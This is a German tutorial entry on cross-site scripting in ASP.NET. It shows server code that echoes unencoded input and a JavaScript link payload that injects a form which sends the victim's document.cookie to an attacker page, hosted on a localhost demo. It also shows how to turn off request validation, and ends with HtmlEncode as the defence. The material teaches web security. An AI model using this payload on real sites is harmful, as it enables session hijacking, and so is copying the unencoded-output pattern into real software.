Cross-Site Scripting (XSS)

Eintrag zuletzt aktualisiert am: 23.07.2012

Bei einem seitenübergreifenden Skriptangriff (Cross-Site-Scripting, abgekürzt XSS) gelingt es dem An-greifer, eigenen Clientskriptcode im Kontext einer fremden Webanwendung auszuführen. Dadurch kann der Angreifer z. B. Daten von Cookies »kapern«. Die Gefahr besteht immer, wenn eine Webseite Benutzer-eingaben wieder ausgibt, ohne sie auf enthaltenen Skriptcode zu prüfen.

Angriffsbeispiel

Das erste Beispiel zeigt einen einfachen Fall zur Erläuterung des Grundprinzips, im zweiten Beispiel wird es komplizierter.
Die Webseite, auf die ein Angriff gestartet werden soll, ermöglicht die Eingabe eines Textes. Bevor der Text endgültig gespeichert wird, soll der Text noch einmal angezeigt werden, sodass der Benutzer ihn bestätigen kann:
private void COKClick(object sender, System.EventArgs e)
{
this.C_Ausgabe.Text =
"Sind Sie sicher, dass Sie folgenden Kommentar absenden wollen? <br>" +
C_Eingabe.Text;
this.C_Endgueltig.Visible = true;
}
Listing 1: Serverseitiger Code für das Beispiel

Ein Angreifer könnte nun in das Eingabefeld Browserskriptcode packen und damit erreichen, dass dieses Skript im Browser nach einem Rundgang ausgeführt wird.

Beispiel 2

Beim zweiten Beispiel nutzt der Angreifer die gleiche Grundtechnik, um die Cookies eines Benutzers zu kapern. Dieses Mal geht der Angriff gar nicht von der angegriffenen Webseite aus, sondern von irgendeiner fremden Webseite oder einer HTML-E-Mail. Was der Angreifer braucht, ist lediglich das Wissen um eine Webseite, die eine übergebene Information ungeprüft ausgibt.

Der Angreifer sendet einem Benutzer einen Link, der zum Klick auffordert. Hinter dem Link verbirgt sich ein geschickt gestricktes Skript, das eine Anfrage an die anzugreifende Seite enthält, wobei im Parameter wieder ein Skript übergeben wird. Das an die angegriffene Seite (hier: /Angegriffener/ausgabeseite.aspx) übermittelte Skript sorgt dafür, dass die Cookies an eine Seite des Angreifers (hier: /Angreifer/Angreifer.aspx) gesendet werden. Die Angreiferseite kann die Cookies dann speichern. Der Angegriffene bemerkt von den Umlenkungen nichts, weil diese viel zu schnell ablaufen.

<script id="clientEventHandlersJS" language="javascript">
<!--
function document_onclick() {
//document.location.href="welcome.aspx?name=<script>x=document.cookie;alert(x);
//</SCRIPT>";
document.location.href=
'http://localhost:90/_Misc/Sicherheit/Angriffe/XSS2/Angegriffener/
ausgabeseite.aspx?name=<FORM action="http://localhost:90/_Misc/Sicherheit/
Angriffe/XSS2/Angreifer/Angreifer.aspx" method="post" id="idForm">
<INPUT name="cookiejar" type="hidden"></FORM>
<SCRIPT>idForm.cookiejar.value=document.cookie;idForm.submit();</SCRIPT>';

// document.location.href="Startseite.aspx?name=<INPUT name='log'
// type='hidden'><SCRIPT>Form1.action='http://localhost:90/_Misc/Sicherheit/
// Angriffe/XSS2/
// Angreifer/Angreifer.aspx';Form1.log.value=document.cookie;
// Form1.submit();</SCRIPT>";
}
//-->
</script>
Listing 2: Der Programmcode hinter dem Link des Angreifers

Schutz vor diesem Angriff

In ASP.NET ist der seitenübergreifende Skriptangriff durch eine in ASP.NET Page Framework integrierte Sicherheitsfunktion bereits entschärft. Page Framework bemerkt, wenn ein Skript an eine Seite übergeben wird und verweigert dann die Abarbeitung des Skripts.

Die obigen Beispiele funktionieren tatsächlich nur, wenn man die Sicherheitsfunktion durch Validate¬Request="false" in der Seitendirektive deaktiviert:
<%@ Page Language="CS"
AutoEventWireup="false"
Inherits="WWWings.StartSeite"
ValidateRequest="false"
CodeFile="StartSeite.aspx.cs" %>
Listing 30.33 Deaktivieren der Schutzfunktion vor Skriptangriffen

Trotz der integrierten Schutzfunktion ist es sinnvoll, alle Ausgaben mit der Methode Server.HtmlEncode() zu behandeln und so zu vermeiden, dass eventuell gefährliche Inhalte wirken können, weil sie als Text ausgegeben werden: CAusgabe.Text = Server.HtmlEncode(CEingabe.Text);